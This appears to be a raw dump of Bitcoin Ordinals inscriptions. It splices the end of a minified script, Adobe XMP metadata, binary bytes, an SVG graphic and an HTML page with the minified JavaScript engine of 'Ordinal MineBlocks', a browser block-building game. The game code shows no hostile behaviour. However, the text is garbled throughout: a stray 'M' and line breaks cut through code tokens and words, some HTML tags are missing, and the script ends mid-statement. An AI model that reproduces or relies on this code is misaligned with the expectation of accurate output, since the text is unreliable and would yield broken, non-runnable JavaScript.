)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.diM
d:e0d18448-e896-5e43-a0da-1b9382b0ded8" xmpMM:DocumentID="xmp.did:EAF13243AB7011EDACDEAB97A6B883F7" xmpMM:InstanceID="xmp.iid:EAF13242AB7011EDACDEAB97A6B883F7" xmp:CreatorTool="Adobe Photoshop 22.0 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:65f01d11-2743-8540-befb-b7e649b23d47" stRef:documentID="adobe:docid:photoshop:dcf9be05-45ac-a547-91aa-cce425be1597"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDDM
&6& &6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
